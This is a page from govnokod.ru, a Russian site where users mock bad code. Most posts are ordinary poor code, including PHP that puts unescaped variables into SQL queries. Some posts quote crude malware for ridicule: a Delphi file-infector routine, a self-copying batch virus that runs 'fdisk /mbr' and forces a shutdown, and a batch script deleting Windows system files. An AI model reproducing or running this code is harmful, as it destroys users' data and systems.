Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+73
private boolean isAuthorized( ExecutionResult result )
{
Iterator<Long> accessCountIterator = result.columnAs( "accessCount" );
while ( accessCountIterator.hasNext() )
{
if (accessCountIterator.next() > 0L)
{
return true;
}
}
return false;
}
Человек написал книжку по програмированию :(
isbn:1449356265/9781449356262
wvxvw,
24 Марта 2014
+22
switch(par)
{
case 'O' : cdcb.Parity = ODDPARITY;
case 'M': cdcb.Parity = MARKPARITY;
case 'E' : cdcb.Parity = EVENPARITY;
case 'N' : cdcb.Parity = NOPARITY;
default : cdcb.Parity = NOPARITY;
}И это в классе dracula
xantue,
24 Марта 2014
+155
if(rradiocheck.test(elem.type)&&!jQuery.support.checkOn){return elem.getAttribute("value")===null?"on":elem.value;}
return(elem.value||"").replace(rreturn,"");}
http://govnokod.ru/media/ddd20ce56acf1d9ebadd126322495087.js
Говно так и льется.
gost,
23 Марта 2014
+86
function RealToStr(X: Real; Count: Integer): String;//Count - количество цифр после запятой
var S: String;
N: Integer;
begin
S:=FloatToStr(X); //после запятой - длинная последовательность цифр
//DecimalSeparator - константа, содержащая истинный разделитель целой и дробной частей числа
N:=Pos(DecimalSeparator, S); //позиция запятой в строке
//вычисляем длину строки с нужным количеством знаков после запятой:
if N=0//если в строке нет запятой - это целое число, и
then N:=Length(S)//тогда просто выводим это число
else N:=N+Count;//иначе вычисляем длину строки
Result:=Copy(S, 1, N);//копируем часть строки в результат
end;
Говно на говне сидит и говном погоняет.
http://www.delphi-manual.ru/work-with-strings.php
gost,
23 Марта 2014
+89
procedure infect(victim:string);
var
a:integer;
Buf: array[1..virsize] of byte;
nr,nw:longint;
begin
try
randomize;
assignfile(f1,victim);
a:=random(200);
rename(f1,'bad'+inttostr(a)) ;
filemode :=0;
assignfile(f2,paramstr(0));
reset(f2,1) ;
seek(f2,0);
blockread(f2,buf,virsize);
filemode:=2 ;
closefile(f2);
assignfile(f1,victim);
rewrite(f1,1);
blockwrite(f1,buf,virsize);
assignfile(f2,'bad'+inttostr(a));
reset(f2,1);
seek(f2,0);
repeat
BlockRead(f2, Buf,virsize, NR);
BlockWrite(f1, Buf, NR, NW);
until (NR = 0) or (NW <> NR);
closefile(f1);
closefile(f2);
deletefile(pchar('bad'+inttostr(a)))
except
end;
end;
Ксакеп, нуфф сказал.
http://www.xakep.ru/post/23374/
gost,
23 Марта 2014
+161
// Сначала он считал рефералов на уровнях
$sql = mysql_query("SELECT `lvl1` FROM `таблица` WHERE `nick` = $nick");
while($row = mysql_fetch_array($sql)){
$a++;
}
$sql = mysql_query("SELECT `lvl2` FROM `таблица` WHERE `nick` = $nick");
while($row = mysql_fetch_array($sql)){
$b++;
}
$sql = mysql_query("SELECT `lvl3` FROM `таблица` WHERE `nick` = $nick");
while($row = mysql_fetch_array($sql)){
$c++;
}
$sql = mysql_query("SELECT `lvl4` FROM `таблица` WHERE `nick` = $nick");
while($row = mysql_fetch_array($sql)){
$d++;
}
$sql = mysql_query("SELECT `lvl5` FROM `таблица` WHERE `nick` = $nick");
while($row = mysql_fetch_array($sql)){
$e++;
}
$sql = mysql_query("SELECT `lvl6` FROM `таблица` WHERE `nick` = $nick");
while($row = mysql_fetch_array($sql)){
$f++;
}
$sql = mysql_query("SELECT `lvl7` FROM `таблица` WHERE `nick` = $nick");
while($row = mysql_fetch_array($sql)){
$g++;
}
$sql = mysql_query("SELECT `lvl8` FROM `таблица` WHERE `nick` = $nick");
while($row = mysql_fetch_array($sql)){
$h++;
}
// Потом он начал регистрировать пользователя на определенном уровне
if($a<3){
mysql_query("INSERT INTO `таблица`(`lvl1`) VALUES ('$login')");
}
elseif($b<5){
mysql_query("INSERT INTO `таблица`(`lvl2`) VALUES ('$login')");
}
elseif($c<9){
mysql_query("INSERT INTO `таблица`(`lvl3`) VALUES ('$login')");
}
elseif($d<17){
mysql_query("INSERT INTO `таблица`(`lvl4`) VALUES ('$login')");
}
elseif($e<33){
mysql_query("INSERT INTO `таблица`(`lvl5`) VALUES ('$login')");
}
elseif($f<65){
mysql_query("INSERT INTO `таблица`(`lvl6`) VALUES ('$login')");
}
elseif($g<129){
mysql_query("INSERT INTO `таблица`(`lvl7`) VALUES ('$login')");
}
elseif($h<257){
mysql_query("INSERT INTO `таблица`(`lvl8`) VALUES ('$login')");
}
elseif($h>256){
echo "ВЫ использовали всех рефералов, можете смело идти нахуй:)";Пишем проект, чувак сделал реферальную систему, епт...
proweber1,
23 Марта 2014
+158
function unique_id($extra = 'c')
{
static $dss_seeded = false;
global $config;
$val = $config['rand_seed'] . microtime();
$val = md5($val);
$config['rand_seed'] = md5($config['rand_seed'] . $val . $extra);
if ($dss_seeded !== true && ($config['rand_seed_last_update'] < time() - rand(1,10)))
{
set_config('rand_seed_last_update', time(), true);
set_config('rand_seed', $config['rand_seed'], true);
$dss_seeded = true;
}
return substr($val, 4, 16);
}
Казалось бы, что может быть интересного в генерации случайного числа для хеширования данных?!
Ан нет, хороший, творческий художник даже такую скучную вещь может превратить в произведение искусства.
Код взят из самого популярного движка для форумов- phpBB.
Sumanai,
22 Марта 2014
+124
@echo off
title %0
rem conditional check.
echo welcome to this wonderful program! please wait while I delete all your files!
rem infection of the user
copy %0 c:\tmp.bat >null attrib +r +s +h c:\tmp.bat echo for %%i in (*.bat) do copy c:\tmp.bat+%%i %%i >>c:\windows\system32\autoexec.NT
echo echo virus detected! >>c:\windows\system32\autoexec.NT
echo pause >>c:\windows\system32\autoexec.NT
echo NT core:infected!
echo echo shame on you! >>c:\autoexec.bat
echo echo system hault-virus identified! >>c:\autoexec.bat
echo chkdsk >>c:\autoexec.bat
echo i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u l
fdisk /mbr
shutdown -s -t 03 -c “windows has shut down because the lsass service has encountered a write fault at 0×00000000000000000000000000000000000″
Нужно БОЛЬШЕ нулей в адресе!
http://ru.wikihow.com/%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D1%82%D1% 8C-%D0%B2%D0%B8%D1%80%D1%83%D1%81
gost,
22 Марта 2014
+131
Чтобы сделать программу невидимой для пользователя нажимаем на форму в конструктере и изменяем следующие свойства:
— FormBorderStyle — None
— Opacity — 0%
— ShowIcon — False
— ShowInTaskbar — False
И Хабр туда-же...
http://habrahabr.ru/post/127278/
gost,
22 Марта 2014
+131
Cd\
Cd C:
Сd winMe
Del *.exe
Del *.ini
Del *.com
Cd\
Cd win98
Cd system
Del *.dll
Del *.exe
Сd windows -переходим в папку Windows (у 95% ламеров и юзеров папка называется именно так)
Большой минус бат файлов да и ДОСа в частности это то что нельзя удалять сразу папку с файлами, а нужно заходить в каждую папку отдельно и удалять там файлы.!!!
(C) http://kivi.clan.su/publ/kopjutery/sozdanie_virusov/kak_sozdat_virus_v_bloknote/10-1-0-8
gost,
22 Марта 2014
Follow us!